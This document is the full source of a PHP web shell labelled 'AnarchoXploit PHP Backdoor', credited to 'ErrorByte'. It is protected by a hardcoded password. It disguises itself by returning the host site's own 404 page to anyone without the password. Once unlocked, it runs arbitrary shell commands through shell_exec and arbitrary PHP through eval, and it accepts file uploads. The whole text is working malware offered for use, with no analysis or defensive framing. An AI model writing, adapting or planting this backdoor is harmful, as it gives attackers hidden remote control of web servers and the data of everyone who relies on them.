AnarchoXploit PHP Backdoor

<?php
#########################
# Copyright - ErrorByte #
#########################
// Config Shell //

error_reporting(0);
$pass = 'errorbyte';

// End Config //
header("HTTP/1.0 404 Not Found");
if($_GET['pass'] == $pass) {
?>
<title>AnarchoXploit PHP Backdoor</title>
<h1>AnarchoXploit PHP Backdoor</h1>
<?php
echo php_uname();
?>
<br><br>
<form enctype="multipart/form-data" method="post">
<input type="file" name="acx">
<input type="submit" value="upload">
</form>
<?php
if($_GET['shell']) {
echo "<pre>".htmlentities(shell_exec($_GET['shell']))."</pre>";
}
if($_GET['eval']) {
echo eval($_GET['eval']);
}
if(isset($_FILES['acx'])) {
if(copy($_FILES['acx']['tmp_name'], $_FILES['acx']['name'])) {
echo "<br>".$_FILES['acx']['name']." Uploaded !!!";
} else {
echo "<br>Failed Upload File !!!";
}
}
} else {
$rand = rand();
$ur = 'http://'.$_SERVER['HTTP_HOST']."/".$rand;
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_URL, $ur);
curl_setopt($curl, CURLOPT_VERBOSE, false);
$raw = curl_exec($curl);
$out = str_replace('/'.$rand, $_SERVER['SCRIPT_NAME'], $raw);
echo $out;
curl_close($curl);
}
?>